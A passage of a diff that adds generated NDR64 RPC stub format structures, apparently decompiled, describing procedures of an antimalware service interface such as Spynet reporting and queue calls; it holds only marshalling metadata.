+ (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2367, + { + /* arg_3 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + } +}; + +static const __midl_frag685_t __midl_frag685 = +{ +/* Struct_28_t */ + { + /* Struct_28_t */ + 0x30, /* FC64_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_28_t */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */ + } +}; + +static const __midl_frag684_t __midl_frag684 = +{ +/* *Struct_28_t */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 4 /* 0x4 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag685 +}; + +static const __midl_frag682_t __midl_frag682 = +{ +/* Proc64_ServerMpRpcSpynetGetStartTime */ + { + /* Proc64_ServerMpRpcSpynetGetStartTime */ /* procedure Proc64_ServerMpRpcSpynetGetStartTime */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 36 /* 0x24 */, + (NDR64_UINT32) 88 /* 0x58 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x70, /* FC64_BIND_CONTEXT */ + (NDR64_UINT8) 64 /* 0x40 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_0 */ /* parameter arg_0 */ + &__midl_frag2346, + { + /* arg_0 */ + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag685, + { + /* arg_1 */ + 0, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustFree, [out], SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag677_t __midl_frag677 = +{ +/* */ + (NDR64_UINT32) 1 /* 0x1 */, + { + /* struct _NDR64_EXPR_OPERATOR */ + 0x4, /* FC_EXPR_OPER */ + 0x5, /* OP_UNARY_INDIRECTION */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */ + }, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 40 /* 0x28 */ /* Offset */ + } +}; + +static const __midl_frag676_t __midl_frag676 = +{ +/* *char */ + { + /* *char */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 0 /* 0x0 */, + { + /* *char */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag677 + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag2355 + } +}; + +static const __midl_frag675_t __midl_frag675 = +{ +/* *char */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag676 +}; + +static const __midl_frag674_t __midl_frag674 = +{ +/* **char */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 20 /* 0x14 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag675 +}; + +static const __midl_frag669_t __midl_frag669 = +{ +/* */ + (NDR64_UINT32) 1 /* 0x1 */, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 16 /* 0x10 */ /* Offset */ + } +}; + +static const __midl_frag668_t __midl_frag668 = +{ +/* *char */ + { + /* *char */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 0 /* 0x0 */, + { + /* *char */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag669 + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag2355 + } +}; + +static const __midl_frag667_t __midl_frag667 = +{ +/* *char */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag668 +}; + +static const __midl_frag664_t __midl_frag664 = +{ +/* Struct_1872_t */ + { + /* Struct_1872_t */ + 0x31, /* FC64_PSTRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_1872_t */ + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 16 /* 0x10 */ + }, + { + /* */ + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + 0x93 /* FC64_END */ + } +}; + +static const __midl_frag663_t __midl_frag663 = +{ +/* *Struct_1872_t */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag664 +}; + +static const __midl_frag661_t __midl_frag661 = +{ +/* Proc63_ServerMpRpcSpynetOnResponse */ + { + /* Proc63_ServerMpRpcSpynetOnResponse */ /* procedure Proc63_ServerMpRpcSpynetOnResponse */ + (NDR64_UINT32) 23986240 /* 0x16e0040 */, /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ServerCorrelation, ClientCorrelation, HasExtensions */ + (NDR64_UINT32) 72 /* 0x48 */ , /* Stack size */ + (NDR64_UINT32) 52 /* 0x34 */, + (NDR64_UINT32) 72 /* 0x48 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 9 /* 0x9 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x70, /* FC64_BIND_CONTEXT */ + (NDR64_UINT8) 64 /* 0x40 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_0 */ /* parameter arg_0 */ + &__midl_frag2346, + { + /* arg_0 */ + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag664, + { + /* arg_1 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2368, + { + /* arg_2 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag667, + { + /* arg_3 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2368, + { + /* arg_4 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* arg_5 */ /* parameter arg_5 */ + &__midl_frag2368, + { + /* arg_5 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + }, + { + /* arg_6 */ /* parameter arg_6 */ + &__midl_frag674, + { + /* arg_6 */ + 1, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustSize, MustFree, [out], UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 48 /* 0x30 */, /* Stack offset */ + }, + { + /* arg_7 */ /* parameter arg_7 */ + &__midl_frag2367, + { + /* arg_7 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 56 /* 0x38 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 64 /* 0x40 */, /* Stack offset */ + } +}; + +static const __midl_frag656_t __midl_frag656 = +{ +/* */ + (NDR64_UINT32) 1 /* 0x1 */, + { + /* struct _NDR64_EXPR_OPERATOR */ + 0x4, /* FC_EXPR_OPER */ + 0x5, /* OP_UNARY_INDIRECTION */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */ + }, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */ /* Offset */ + } +}; + +static const __midl_frag655_t __midl_frag655 = +{ +/* *char */ + { + /* *char */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 0 /* 0x0 */, + { + /* *char */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag656 + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag2355 + } +}; + +static const __midl_frag654_t __midl_frag654 = +{ +/* *char */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag655 +}; + +static const __midl_frag653_t __midl_frag653 = +{ +/* **char */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 20 /* 0x14 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag654 +}; + +static const __midl_frag649_t __midl_frag649 = +{ +/* Proc62_ServerMpRpcSenseGenerateReport */ + { + /* Proc62_ServerMpRpcSenseGenerateReport */ /* procedure Proc62_ServerMpRpcSenseGenerateReport */ + (NDR64_UINT32) 21626944 /* 0x14a0040 */, /* explicit handle */ /* IsIntrepreted, ServerMustSize, HasReturn, ClientCorrelation, HasExtensions */ + (NDR64_UINT32) 40 /* 0x28 */ , /* Stack size */ + (NDR64_UINT32) 36 /* 0x24 */, + (NDR64_UINT32) 72 /* 0x48 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 5 /* 0x5 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x70, /* FC64_BIND_CONTEXT */ + (NDR64_UINT8) 64 /* 0x40 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_0 */ /* parameter arg_0 */ + &__midl_frag2346, + { + /* arg_0 */ + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag653, + { + /* arg_2 */ + 1, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustSize, MustFree, [out], UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2367, + { + /* arg_3 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + } +}; + +static const __midl_frag633_t __midl_frag633 = +{ +/* Proc61_ServerMpRpcSpynetGenerateReport */ + { + /* Proc61_ServerMpRpcSpynetGenerateReport */ /* procedure Proc61_ServerMpRpcSpynetGenerateReport */ + (NDR64_UINT32) 21626944 /* 0x14a0040 */, /* explicit handle */ /* IsIntrepreted, ServerMustSize, HasReturn, ClientCorrelation, HasExtensions */ + (NDR64_UINT32) 64 /* 0x40 */ , /* Stack size */ + (NDR64_UINT32) 36 /* 0x24 */, + (NDR64_UINT32) 220 /* 0xdc */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 8 /* 0x8 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x70, /* FC64_BIND_CONTEXT */ + (NDR64_UINT8) 64 /* 0x40 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_0 */ /* parameter arg_0 */ + &__midl_frag2346, + { + /* arg_0 */ + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag653, + { + /* arg_2 */ + 1, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustSize, MustFree, [out], UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2368, + { + /* arg_3 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag60, + { + /* arg_4 */ + 0, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustFree, [out], SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* arg_5 */ /* parameter arg_5 */ + &__midl_frag36, + { + /* arg_5 */ + 0, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustFree, [out], SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + }, + { + /* arg_6 */ /* parameter arg_6 */ + &__midl_frag2367, + { + /* arg_6 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 48 /* 0x30 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 56 /* 0x38 */, /* Stack offset */ + } +}; + +static const __midl_frag618_t __midl_frag618 = +{ +/* Proc59_ServerMpRpcSpynetQueueQueryNotification */ + { + /* Proc59_ServerMpRpcSpynetQueueQueryNotification */ /* procedure Proc59_ServerMpRpcSpynetQueueQueryNotification */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 40 /* 0x28 */ , /* Stack size */ + (NDR64_UINT32) 36 /* 0x24 */, + (NDR64_UINT32) 132 /* 0x84 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 5 /* 0x5 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x70, /* FC64_BIND_CONTEXT */ + (NDR64_UINT8) 64 /* 0x40 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_0 */ /* parameter arg_0 */ + &__midl_frag2346, + { + /* arg_0 */ + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag1142, + { + /* arg_1 */ + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2368, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2367, + { + /* arg_3 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + } +}; + +static const __midl_frag609_t __midl_frag609 = +{ +/* Proc58_ServerMpRpcSpynetQueueCreate */ + { + /* Proc58_ServerMpRpcSpynetQueueCreate */ /* procedure Proc58_ServerMpRpcSpynetQueueCreate */ + (NDR64_UINT32) 524355 /* 0x80043 */, /* auto handle */ /* IsIntrepreted, HasReturn */ + (NDR64_UINT32) 48 /* 0x30 */ , /* Stack size */ + (NDR64_UINT32) 80 /* 0x50 */, + (NDR64_UINT32) 172 /* 0xac */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 6 /* 0x6 */, + (NDR64_UINT16) 0 /* 0x0 */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag36, + { + /* arg_1 */ + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2368, + { + /* arg_2 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag36, + { + /* arg_3 */ + 0, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustFree, [out], SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag1288, + { + /* arg_4 */ + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_5 */ /* parameter arg_5 */ + &__midl_frag2367, + { + /* arg_5 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + } +}; + +static const __midl_frag604_t __midl_frag604 = +{ +/* *Struct_16_t */ + { + /* *Struct_16_t */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 3 /* 0x3 */, + { + /* *Struct_16_t */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 16 /* 0x10 */, + &__midl_frag669 + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 16 /* 0x10 */, + &__midl_frag36 + } +}; + +static const __midl_frag603_t __midl_frag603 = +{ +/* *Struct_16_t */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag604 +}; + +static const __midl_frag600_t __midl_frag600 = +{ +/* Proc57_ServerMpRpcDropScansWithSamples */ + { + /* Proc57_ServerMpRpcDropScansWithSamples */ /* procedure Proc57_ServerMpRpcDropScansWithSamples */ + (NDR64_UINT32) 19660864 /* 0x12c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */ + (NDR64_UINT32) 48 /* 0x30 */ , /* Stack size */ + (NDR64_UINT32) 16 /* 0x10 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 5 /* 0x5 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + 